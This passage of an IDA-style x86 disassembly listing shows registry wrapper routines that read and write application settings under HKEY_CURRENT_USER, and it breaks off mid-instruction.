; CODE XREF: sub_423489+3D7p ; sub_424B41+6ACp ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] call sub_428230 mov esp, ebp pop ebp retn sub_4266D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4266E9 proc near ; CODE XREF: sub_426584+12Ap ; sub_426816+24p var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_C], ecx mov eax, [ebp+var_C] add eax, 4 push eax push 20019h push 0 mov ecx, [ebp+var_C] add ecx, 0Ch call sub_4226A0 push eax mov ecx, [ebp+var_C] mov edx, [ecx] push edx call dword_433004 ; RegOpenKeyExA test eax, eax jnz short loc_426785 mov [ebp+var_4], 4 lea eax, [ebp+var_4] push eax mov ecx, [ebp+var_C] add ecx, 10h push ecx lea edx, [ebp+var_8] push edx push 0 mov ecx, [ebp+var_C] add ecx, 8 call sub_4226A0 push eax mov eax, [ebp+var_C] mov ecx, [eax+4] push ecx call dword_433010 ; RegQueryValueExA test eax, eax jnz short loc_426770 mov edx, [ebp+var_C] mov dword ptr [edx+18h], 1 mov eax, [ebp+var_C] mov ecx, [eax+4] push ecx call dword_433000 ; RegCloseKey mov edx, [ebp+var_C] mov eax, [edx+10h] jmp short loc_42678B ; --------------------------------------------------------------------------- loc_426770: ; CODE XREF: sub_4266E9+66j mov eax, [ebp+var_C] mov ecx, [eax+4] push ecx call dword_433000 ; RegCloseKey mov edx, [ebp+var_C] mov eax, [edx+14h] jmp short loc_42678B ; --------------------------------------------------------------------------- loc_426785: ; CODE XREF: sub_4266E9+31j mov eax, [ebp+var_C] mov eax, [eax+14h] loc_42678B: ; CODE XREF: sub_4266E9+85j ; sub_4266E9+9Aj mov esp, ebp pop ebp retn sub_4266E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42678F proc near ; CODE XREF: sub_426843+2Cp var_8 = dword ptr -8 var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], ecx lea eax, [ebp+var_4] push eax mov ecx, [ebp+var_8] add ecx, 4 push ecx push 0 push 20006h push 0 push offset dword_439CBC push 0 mov ecx, [ebp+var_8] add ecx, 0Ch call sub_4226A0 push eax mov edx, [ebp+var_8] mov eax, [edx] push eax call dword_43300C ; RegCreateKeyExA test eax, eax jz short loc_4267D1 jmp short loc_426812 ; --------------------------------------------------------------------------- loc_4267D1: ; CODE XREF: sub_42678F+3Ej push 4 mov ecx, [ebp+var_8] add ecx, 10h push ecx push 4 push 0 mov ecx, [ebp+var_8] add ecx, 8 call sub_4226A0 push eax mov edx, [ebp+var_8] mov eax, [edx+4] push eax call dword_433008 ; RegSetValueExA test eax, eax jnz short loc_426805 mov ecx, [ebp+var_8] mov dword ptr [ecx+18h], 1 loc_426805: ; CODE XREF: sub_42678F+6Aj mov edx, [ebp+var_8] mov eax, [edx+4] push eax call dword_433000 ; RegCloseKey loc_426812: ; CODE XREF: sub_42678F+40j mov esp, ebp pop ebp retn sub_42678F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426816 proc near ; CODE XREF: sub_424B41+276p ; sub_425642+98p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] cmp dword ptr [eax+18h], 0 jz short loc_426837 mov ecx, [ebp+var_4] cmp dword ptr [ecx+1Ch], 0 jnz short loc_426837 mov edx, [ebp+var_4] mov eax, [edx+10h] jmp short loc_42683F ; --------------------------------------------------------------------------- loc_426837: ; CODE XREF: sub_426816+Ej ; sub_426816+17j mov ecx, [ebp+var_4] call sub_4266E9 loc_42683F: ; CODE XREF: sub_426816+1Fj mov esp, ebp pop ebp retn sub_426816 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426843 proc near ; CODE XREF: sub_423489+3C8p ; sub_425642+D5p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] cmp ecx, [eax+10h] jnz short loc_426863 mov edx, [ebp+var_4] cmp dword ptr [edx+1Ch], 0 jnz short loc_426863 mov eax, [ebp+var_4] jmp short loc_426877 ; --------------------------------------------------------------------------- loc_426863: ; CODE XREF: sub_426843+10j ; sub_426843+19j mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov [eax+10h], ecx mov ecx, [ebp+var_4] call sub_42678F mov eax, [ebp+var_4] loc_426877: ; CODE XREF: sub_426843+1Ej mov esp, ebp pop ebp retn 4 sub_426843 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset loc_4324F2 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov [ebp-10h], ecx mov ecx, [ebp-10h] call sub_4281D0 mov dword ptr [ebp-4], 0 mov ecx, [ebp-10h] add ecx, 10h call sub_4317AE mov byte ptr [ebp-4], 1 mov ecx, [ebp-10h] add ecx, 14h call sub_4317AE mov byte ptr [ebp-4], 2 push offset dword_439CC0 mov ecx, [ebp-10h] add ecx, 10h call sub_43179C push offset dword_439CC4 mov ecx, [ebp-10h] add ecx, 14h call sub_43179C push offset dword_439CC8 mov ecx, [ebp-10h] add ecx, 8 call sub_43179C mov eax, [ebp-10h] mov dword ptr [eax], 80000001h mov ecx, [ebp-10h] mov dword ptr [ecx+18h], 0 mov edx, [ebp-10h] mov dword ptr [edx+1Ch], 0 mov dword ptr [ebp-4], 0FFFFFFFFh mov eax, [ebp-10h] mov ecx, [ebp-0Ch] mov large fs:0, ecx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42692B proc near ; CODE XREF: sub_423489+175p ; sub_423489+296p ... var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_42692B mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 20h push esi mov [ebp+var_1C], ecx mov [ebp+var_4], 1 mov ecx, [ebp+var_1C] call sub_4281D0 mov byte ptr [ebp+var_4], 2 mov ecx, [ebp+var_1C] add ecx, 10h call sub_4317AE mov byte ptr [ebp+var_4], 3 mov ecx, [ebp+var_1C] add ecx, 14h call sub_4317AE mov byte ptr [ebp+var_4], 4 push offset dword_439CCC mov ecx, [ebp+var_1C] add ecx, 10h call sub_43179C lea eax, [ebp+arg_4] push eax mov ecx, [ebp+var_1C] add ecx, 14h call sub_4317A8 mov ecx, [ebp+var_1C] mov edx, [ebp+arg_8] mov [ecx+1Ch], edx mov eax, [ebp+var_1C] mov ecx, [ebp+arg_C] mov [eax], ecx mov edx, [ebp+var_1C] mov dword ptr [edx+18h], 0 push offset asc_437544 ; "\\" lea ecx, [ebp+arg_0] call sub_4317F6 push 5Ch lea ecx, [ebp+arg_0] call sub_4317C6 push eax lea eax, [ebp+var_10] push eax lea ecx, [ebp+arg_0] call sub_4317C0 mov [ebp+var_20], eax mov ecx, [ebp+var_20] mov [ebp+var_24], ecx mov byte ptr [ebp+var_4], 5 mov edx, [ebp+var_24] push edx mov ecx, [ebp+var_1C] add ecx, 0Ch call sub_4317A8 mov byte ptr [ebp+var_4], 4 lea ecx, [ebp+var_10] call sub_4317A2 push offset asc_437548 ; "\\" mov ecx, [ebp+var_1C] add ecx, 0Ch call sub_4317F0 lea ecx, [ebp+arg_0] call sub_428280 mov esi, eax push 5Ch lea ecx, [ebp+arg_0] call sub_4317C6 sub esi, eax push esi lea eax, [ebp+var_14] push eax lea ecx, [ebp+arg_0] call sub_4317EA mov [ebp+var_28], eax mov ecx, [ebp+var_28] mov [ebp+var_2C], ecx mov byte ptr [ebp+var_4], 6 mov edx, [ebp+var_2C] push edx mov ecx, [ebp+var_1C] add ecx, 8 call sub_4317A8 mov byte ptr [ebp+var_4], 4 lea ecx, [ebp+var_14] call sub_4317A2 push offset asc_43754C ; "\\" mov ecx, [ebp+var_1C] add ecx, 8 call sub_4317F6 push offset asc_437550 ; "\\" mov ecx, [ebp+var_1C] add ecx, 8 call sub_4317F0 lea eax, [ebp+var_18] push eax mov ecx, [ebp+var_1C] call sub_426B19 lea ecx, [ebp+var_18] call sub_4317A2 mov byte ptr [ebp+var_4], 0 lea ecx, [ebp+arg_0] call sub_4317A2 mov [ebp+var_4], 0FFFFFFFFh lea ecx, [ebp+arg_4] call sub_4317A2 mov eax, [ebp+var_1C] mov ecx, [ebp+var_C] mov large fs:0, ecx pop esi mov esp, ebp pop ebp retn 10h sub_42692B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426ABF proc near ; CODE XREF: sub_423489+1A5p ; sub_423489+2C6p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_426ABF mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov [ebp+var_10], ecx mov [ebp+var_4], 1 mov ecx, [ebp+var_10] add ecx, 14h call sub_4317A2 mov byte ptr [ebp+var_4], 0 mov ecx, [ebp+var_10] add ecx, 10h call sub_4317A2 mov [ebp+var_4], 0FFFFFFFFh mov ecx, [ebp+var_10] call sub_428230 mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn sub_426ABF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426B19 proc near ; CODE XREF: sub_42692B+158p ; sub_426D5C+45p var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_426B19 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 2Ch mov [ebp+var_30], ecx mov [ebp+var_2C], 0 mov eax, [ebp+var_30] add eax, 4 push eax push 20019h push 0 mov ecx, [ebp+var_30] add ecx, 0Ch call sub_4226A0 push eax mov ecx, [ebp+var_30] mov edx, [ecx] push edx call dword_433004 ; RegOpenKeyExA test eax, eax jnz loc_426C98 mov [ebp+var_10], 0 lea eax, [ebp+var_10] push eax push 0 lea ecx, [ebp+var_18] push ecx push 0 mov ecx, [ebp+var_30] add ecx, 8 call sub_4226A0 push eax mov edx, [ebp+var_30] mov eax, [edx+4] push eax call dword_433010 ; RegQueryValueExA mov ecx, [ebp+var_10] push ecx call sub_431784 add esp, 4 mov [ebp+var_1C], eax mov edx, [ebp+var_1C] mov [ebp+var_14], edx lea eax, [ebp+var_10] push eax mov ecx, [ebp+var_14] push ecx lea edx, [ebp+var_18] push edx push 0 mov ecx, [ebp+var_30] add ecx, 8 call sub_4226A0 push eax mov eax, [ebp+var_30] mov ecx, [eax+4] push ecx call dword_433010 ; RegQueryValueExA test eax, eax jnz loc_426C5C mov edx, [ebp+var_14] push edx lea ecx, [ebp+var_20] call sub_43178A mov [ebp+var_34], eax mov eax, [ebp+var_34] mov [ebp+var_38], eax mov [ebp+var_4], 0 mov ecx, [ebp+var_38] push ecx mov ecx, [ebp+var_30] add ecx, 10h call sub_4317A8 mov [ebp+var_4], 0FFFFFFFFh lea ecx, [ebp+var_20] call sub_4317A2 mov edx, [ebp+var_14] mov [ebp+var_24], edx mov eax, [ebp+var_24] push eax call sub_43177E add esp, 4 mov ecx, [ebp+var_30] mov dword ptr [ecx+18h], 1 mov edx, [ebp+var_30] mov eax, [edx+4] push eax call dword_433000 ; RegCloseKey mov ecx, [ebp+var_30] add ecx, 10h push ecx mov ecx, [ebp+arg_0] call sub_431796 mov edx, [ebp+var_2C] or edx, 1 mov [ebp+var_2C], edx mov eax, [ebp+arg_0] jmp short loc_426CB3 ; --------------------------------------------------------------------------- loc_426C5C: ; CODE XREF: sub_426B19+BDj mov eax, [ebp+var_14] mov [ebp+var_28], eax mov ecx, [ebp+var_28] push ecx call sub_43177E add esp, 4 mov edx, [ebp+var_30] mov eax, [edx+4] push eax call dword_433000 ; RegCloseKey mov ecx, [ebp+var_30] add ecx, 14h push ecx mov ecx, [ebp+arg_0] call sub_431796 mov edx, [ebp+var_2C] or edx, 1 mov [ebp+var_2C], edx mov eax, [ebp+arg_0] jmp short loc_426CB3 ; --------------------------------------------------------------------------- loc_426C98: ; CODE XREF: sub_426B19+4Dj mov eax, [ebp+var_30] add eax, 14h push eax mov ecx, [ebp+arg_0] call sub_431796 mov ecx, [ebp+var_2C] or ecx, 1 mov [ebp+var_2C], ecx mov eax, [ebp+arg_0] loc_426CB3: ; CODE XREF: sub_426B19+141j ; sub_426B19+17Dj mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn 4 sub_426B19 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426CC3 proc near ; CODE XREF: sub_426DB8+73p var_8 = dword ptr -8 var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], ecx lea eax, [ebp+var_4] push eax mov ecx, [ebp+var_8] add ecx, 4 push ecx push 0 push 20006h push 0 push offset dword_439CD0 push 0 mov ecx, [ebp+var_8] add ecx, 0Ch call sub_4226A0 push eax mov edx, [ebp+var_8] mov eax, [edx] push eax call dword_43300C ; RegCreateKeyExA test eax, eax jz short loc_426D05 jmp short loc_426D58 ; --------------------------------------------------------------------------- loc_426D05: ; CODE XREF: sub_426CC3+3Ej mov ecx, [ebp+var_8] add ecx, 10h call sub_428280 add eax, 1 push eax mov ecx, [ebp+var_8] add ecx, 10h call sub_4226A0 push eax push 1 push 0 mov ecx, [ebp+var_8] add ecx, 8 call sub_4226A0 push eax mov ecx, [ebp+var_8] mov edx, [ecx+4] push edx call dword_433008 ; RegSetValueExA test eax, eax jnz short loc_426D4B mov eax, [ebp+var_8] mov dword ptr [eax+18h], 1 loc_426D4B: ; CODE XREF: sub_426CC3+7Cj mov ecx, [ebp+var_8] mov edx, [ecx+4] push edx call dword_433000 ; RegCloseKey loc_426D58: ; CODE XREF: sub_426CC3+40j mov esp, ebp pop ebp retn sub_426CC3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426D5C proc near ; CODE XREF: sub_424B41+3BEp ; sub_424B41+516p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], ecx mov [ebp+var_4], 0 mov eax, [ebp+var_8] cmp dword ptr [eax+18h], 0 jz short loc_426D9A mov ecx, [ebp+var_8] cmp dword ptr [ecx+1Ch], 0 jnz short loc_426D9A mov edx, [ebp+var_8] add edx, 10h push edx mov ecx, [ebp+arg_0] call sub_431796 mov eax, [ebp+var_4] or al, 1 mov [ebp+var_4], eax mov eax, [ebp+arg_0] jmp short loc_426DB2 ; --------------------------------------------------------------------------- loc_426D9A: ; CODE XREF: sub_426D5C+17j ; sub_426D5C+20j mov ecx, [ebp+arg_0] push ecx mov ecx, [ebp+var_8] call sub_426B19 mov edx, [ebp+var_4] or edx, 1 mov [ebp+var_4], edx mov eax, [ebp+arg_0] loc_426DB2: ; CODE XREF: sub_426D5C+3Cj mov esp, ebp pop ebp retn 4 sub_426D5C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426DB8 proc near ; CODE XREF: sub_423489+196p ; sub_423489+2B7p ... var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_426DB8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch mov [ebp+var_18], ecx mov [ebp+var_4], 0 mov eax, [ebp+var_18] add eax, 10h push eax lea ecx, [ebp+arg_0] push ecx call sub_4282C0 and eax, 0FFh test eax, eax jz short loc_426E19 mov edx, [ebp+var_18] cmp dword ptr [edx+1Ch], 0 jnz short loc_426E19 mov eax, [ebp+var_18] mov [ebp+var_10], eax mov [ebp+var_4], 0FFFFFFFFh lea ecx, [ebp+arg_0] call sub_4317A2 mov eax, [ebp+var_10] jmp short loc_426E48 ; --------------------------------------------------------------------------- loc_426E19: ; CODE XREF: sub_426DB8+3Cj ; sub_426DB8+45j lea ecx, [ebp+arg_0] push ecx mov ecx, [ebp+var_18] add ecx, 10h call sub_4317A8 mov ecx, [ebp+var_18] call sub_426CC3 mov edx, [ebp+var_18] mov [ebp+var_14], edx mov [ebp+var_4], 0FFFFFFFFh lea ecx, [ebp+arg_0] call sub_4317A2 mov eax, [ebp+var_14] loc_426E48: ; CODE XREF: sub_426DB8+5Fj mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn 4 sub_426DB8 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset loc_432599 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 24h mov [ebp-30h], ecx mov ecx, [ebp-30h] call sub_4281D0 mov dword ptr [ebp-4], 0 mov ecx, [ebp-30h] add ecx, 10h call sub_4283A0 mov ecx, [ebp-30h] add ecx, 20h call sub_4283A0 push 0 push 0 push 0 push 0 lea ecx, [ebp-1Ch] call sub_428320 mov ecx, [ebp-30h] add ecx, 10h mov edx, [eax] mov [ecx], edx mov edx, [eax+4] mov [ecx+4], edx mov edx, [eax+8] mov [ecx+8], edx mov eax, [eax+0Ch] mov [ecx+0Ch], eax push 0 push 0 push 0 push 0 lea ecx, [ebp-2Ch] call sub_428320 mov ecx, [ebp-30h] add ecx, 20h mov edx, [eax] mov [ecx], edx mov edx, [eax+4] mov [ecx+4], edx mov edx, [eax+8] mov [ecx+8], edx mov eax, [eax+0Ch] mov [ecx+0Ch], eax push offset dword_439CD4 mov ecx, [ebp-30h] add ecx, 8 call sub_43179C mov ecx, [ebp-30h] mov dword ptr [ecx], 80000001h mov edx, [ebp-30h] mov dword ptr [edx+30h], 0 mov eax, [ebp-30h] mov dword ptr [eax+34h], 0 mov dword ptr [ebp-4], 0FFFFFFFFh mov eax, [ebp-30h] mov ecx, [ebp-0Ch] mov large fs:0, ecx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset loc_4325C7 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 3Ch push esi mov [ebp-38h], ecx mov dword ptr [ebp-4], 0 mov ecx, [ebp-38h] call sub_4281D0 mov byte ptr [ebp-4], 1 mov ecx, [ebp-38h] add ecx, 10h call sub_4283A0 mov ecx, [ebp-38h] add ecx, 20h call sub_4283A0 push 0 push 0 push 0 push 0 lea ecx, [ebp-1Ch] call sub_428320 mov ecx, [ebp-38h] add ecx, 10h mov edx, [eax] mov [ecx], edx mov edx, [eax+4] mov [ecx+4], edx mov edx, [eax+8] mov [ecx+8], edx mov eax, [eax+0Ch] mov [ecx+0Ch], eax mov ecx, [ebp-38h] add ecx, 20h mov edx, [ebp+0Ch] mov [ecx], edx mov eax, [ebp+10h] mov [ecx+4], eax mov edx, [ebp+14h] mov [ecx+8], edx mov eax, [ebp+18h] mov [ecx+0Ch], eax mov ecx, [ebp-38h] mov edx, [ebp+1Ch] mov [ecx+34h], edx mov eax, [ebp-38h] mov ecx, [ebp+20h] mov [eax], ecx mov edx, [ebp-38h] mov dword ptr [edx+30h], 0 push offset asc_437554 ; "\\" lea ecx, [ebp+8] call sub_4317F6 push 5Ch lea ecx, [ebp+8] call sub_4317C6 push eax lea eax, [ebp-20h] push eax lea ecx, [ebp+8] call sub_4317C0 mov [ebp-3Ch], eax mov ecx, [ebp-3Ch] mov [ebp-40h], ecx mov byte ptr [ebp-4], 2 mov edx, [ebp-40h] push edx mov ecx, [ebp-38h] add ecx, 0Ch call sub_4317A8 mov byte ptr [ebp-4], 1 lea ecx, [ebp-20h] call sub_4317A2 push offset asc_437558 ; "\\" mov ecx, [ebp-38h] add ecx, 0Ch call sub_4317F0 lea ecx, [ebp+8] call sub_428280 mov esi, eax push 5Ch lea ecx, [ebp+8] call sub_4317C6 sub esi, eax push esi lea eax, [ebp-24h] push eax lea ecx, [ebp+8] call sub_4317EA mov [ebp-44h], eax mov ecx, [ebp-44h] mov [ebp-48h], ecx mov byte ptr [ebp-4], 3 mov edx, [ebp-48h] push edx mov ecx, [ebp-38h] add ecx, 8 call sub_4317A8 mov byte ptr [ebp-4], 1 lea ecx, [ebp-24h] call sub_4317A2 push offset asc_43755C ; "\\" mov ecx, [ebp-38h] add ecx, 8 call sub_4317F6 push offset asc_437560 ; "\\" mov ecx, [ebp-38h] add ecx, 8 call sub_4317F0 lea eax, [ebp-34h] push eax mov ecx, [ebp-38h] call sub_4270ED mov dword ptr [ebp-4], 0FFFFFFFFh lea ecx, [ebp+8] call sub_4317A2 mov eax, [ebp-38h] mov ecx, [ebp-0Ch] mov large fs:0, ecx pop esi mov esp, ebp pop ebp retn 1Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov ecx, [ebp-4] call sub_428230 mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4270ED proc near ; CODE XREF: TEUm:004270B2p ; TEUm:00427342p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2Ch mov [ebp+var_2C], ecx mov eax, [ebp+var_2C] add eax, 4 push eax push 20019h push 0 mov ecx, [ebp+var_2C] add ecx, 0Ch call sub_4226A0 push eax mov ecx, [ebp+var_2C] mov edx, [ecx] push edx call dword_433004 ; RegOpenKeyExA test eax, eax jnz loc_427248 mov [ebp+var_8], 0 lea eax, [ebp+var_8] push eax push 0 lea ecx, [ebp+var_C] push ecx push 0 mov ecx, [ebp+var_2C] add ecx, 8 call sub_4226A0 push eax mov edx, [ebp+var_2C] mov eax, [edx+4] push eax call dword_433010 ; RegQueryValueExA mov ecx, [ebp+var_8] push ecx call sub_431784 add esp, 4 mov [ebp+var_10], eax mov edx, [ebp+var_10] mov [ebp+var_4], edx lea eax, [ebp+var_8] push eax mov ecx, [ebp+var_4] push ecx lea edx, [ebp+var_C] push edx push 0 mov ecx, [ebp+var_2C] add ecx, 8 call sub_4226A0 push eax mov eax, [ebp+var_2C] mov ecx, [eax+4] push ecx call dword_433010 ; RegQueryValueExA test eax, eax jnz short loc_427205 mov edx, [ebp+var_4] push edx lea ecx, [ebp+var_20] call sub_428360 mov ecx, [ebp+var_2C] add ecx, 10h mov edx, [eax] mov [ecx], edx mov edx, [eax+4] mov [ecx+4], edx mov edx, [eax+8] mov [ecx+8], edx mov eax, [eax+0Ch] mov [ecx+0Ch], eax mov ecx, [ebp+var_4] mov [ebp+var_24], ecx mov edx, [ebp+var_24] push edx call sub_43177E add esp, 4 mov eax, [ebp+var_2C] mov dword ptr [eax+30h], 1 mov ecx, [ebp+var_2C] mov edx, [ecx+4] push edx call dword_433000 ; RegCloseKey mov eax, [ebp+var_2C] add eax, 10h mov ecx, [ebp+arg_0] mov edx, [eax] mov [ecx], edx mov edx, [eax+4] mov [ecx+4], edx mov edx, [eax+8] mov [ecx+8], edx mov eax, [eax+0Ch] mov [ecx+0Ch], eax mov eax, [ebp+arg_0] jmp short loc_42726A ; --------------------------------------------------------------------------- loc_427205: ; CODE XREF: sub_4270ED+A1j mov ecx, [ebp+var_4] mov [ebp+var_28], ecx mov edx, [ebp+var_28] push edx call sub_43177E add esp, 4 mov eax, [ebp+var_2C] mov ecx, [eax+4] push ecx call dword_433000 ; RegCloseKey mov edx, [ebp+var_2C] add edx, 20h mov eax, [ebp+arg_0] mov ecx, [edx] mov [eax], ecx mov ecx, [edx+4] mov [eax+4], ecx mov ecx, [edx+8] mov [eax+8], ecx mov edx, [edx+0Ch] mov [eax+0Ch], edx mov eax, [ebp+arg_0] jmp short loc_42726A ; --------------------------------------------------------------------------- loc_427248: ; CODE XREF: sub_4270ED+31j mov eax, [ebp+var_2C] add eax, 20h mov ecx, [ebp+arg_0] mov edx, [eax] mov [ecx], edx mov edx, [eax+4] mov [ecx+4], edx mov edx, [eax+8] mov [ecx+8], edx mov eax, [eax+0Ch] mov [ecx+0Ch], eax mov eax, [ebp+arg_0] loc_42726A: ; CODE XREF: sub_4270ED+116j ; sub_4270ED+159j mov esp, ebp pop ebp retn 4 sub_4270ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427270 proc near ; CODE XREF: TEUm:004273B1p var_8 = dword ptr -8 var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], ecx lea eax, [ebp+var_4] push eax mov ecx, [ebp+var_8] add ecx, 4 push ecx push 0 push 20006h push 0 push offset dword_439CD8 push 0 mov ecx, [ebp+var_8] add ecx, 0Ch call sub_4226A0 push eax mov edx, [ebp+var_8] mov eax, [edx] push eax call dword_43300C ; RegCreateKeyExA test eax, eax jz short loc_4272B2 jmp short loc_4272F8 ; --------------------------------------------------------------------------- loc_4272B2: ; CODE XREF: sub_427270+3Ej push 10h mov ecx, [ebp+var_8] add ecx, 10h call sub_4283A0 push eax push 3 push 0 mov ecx, [ebp+var_8] add ecx, 8 call sub_4226A0 push eax mov ecx, [ebp+var_8] mov edx, [ecx+4] push edx call dword_433008 ; RegSetValueExA test eax, eax jnz short loc_4272EB mov eax, [ebp+var_8] mov dword ptr [eax+30h], 1 loc_4272EB: ; CODE XREF: sub_427270+6Fj mov ecx, [ebp+var_8] mov edx, [ecx+4] push edx call dword_433000 ; RegCloseKey loc_4272F8: ; CODE XREF: sub_427270+40j mov esp, ebp pop ebp retn sub_427270 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 14h mov [ebp-14h], ecx mov eax, [ebp-14h] cmp dword ptr [eax+30h], 0 jz short loc_42733B mov ecx, [ebp-14h] cmp dword ptr [ecx+34h], 0 jnz short loc_42733B mov edx, [ebp-14h] add edx, 10h mov eax, [ebp+8] mov ecx, [edx] mov [eax], ecx mov ecx, [edx+4] mov [eax+4], ecx mov ecx, [edx+8] mov [eax+8], ecx mov edx, [edx+0Ch] mov [eax+0Ch], edx mov eax, [ebp+8] jmp short loc_427363 ; --------------------------------------------------------------------------- loc_42733B: ; CODE XREF: TEUm:0042730Cj ; TEUm:00427315j lea eax, [ebp-10h] push eax mov ecx, [ebp-14h] call sub_4270ED mov ecx, [ebp+8] mov edx, [eax] mov [ecx], edx mov edx, [eax+4] mov [ecx+4], edx mov edx, [eax+8] mov [ecx+8], edx mov eax, [eax+0Ch] mov [ecx+0Ch], eax mov eax, [ebp+8] loc_427363: ; CODE XREF: TEUm:00427339j mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov eax, [ebp-4] add eax, 10h push eax lea ecx, [ebp+8] call sub_428380 test eax, eax jz short loc_427391 mov ecx, [ebp-4] cmp dword ptr [ecx+34h], 0 jnz short loc_427391 mov eax, [ebp-4] jmp short loc_4273B9 ; --------------------------------------------------------------------------- loc_427391: ; CODE XREF: TEUm:00427381j ; TEUm:0042738Aj mov edx, [ebp-4] add edx, 10h mov eax, [ebp+8] mov [edx], eax mov ecx, [ebp+0Ch] mov [edx+4], ecx mov eax, [ebp+10h] mov [edx+8], eax mov ecx, [ebp+14h] mov [edx+0Ch], ecx mov ecx, [ebp-4] call sub_427270 mov eax, [ebp-4] loc_4273B9: ; CODE XREF: TEUm:0042738Fj mov esp, ebp pop ebp retn 10h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset loc_4325DA mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 14h mov [ebp-20h], ecx mov ecx, [ebp-20h] call sub_4281D0 mov dword ptr [ebp-4], 0 mov ecx, [ebp-20h] add ecx, 10h call sub_4283A0 mov ecx, [ebp-20h] add ecx, 18h call sub_4283A0 push 0 push 0 lea ecx, [ebp-14h] call sub_4283B0 mov ecx, [eax] mov edx, [eax+4] mov eax, [ebp-20h] mov [eax+10h], ecx mov [eax+14h], edx push 0 push 0 lea ecx, [ebp-1Ch] call sub_4283B0 mov ecx, [eax] mov edx, [eax+4] mov eax, [ebp-20h] mov [eax+18h], ecx mov [eax+1Ch], edx push offset dword_439CDC mov ecx, [ebp-20h] add ecx, 8 call sub_43179C mov ecx, [ebp-20h] mov dword ptr [ecx], 80000001h mov edx, [ebp-20h] mov dword ptr [edx+20h], 0 mov eax, [ebp-20h] mov dword ptr [eax+24h], 0 mov dword ptr [ebp-4], 0FFFFFFFFh mov eax, [ebp-20h] mov ecx, [ebp-0Ch] mov large fs:0, ecx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset loc_432608 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 2Ch push esi mov [ebp-28h], ecx mov dword ptr [ebp-4], 0 mov ecx, [ebp-28h] call sub_4281D0 mov byte ptr [ebp-4], 1 mov ecx, [ebp-28h] add ecx, 10h call sub_4283A0 mov 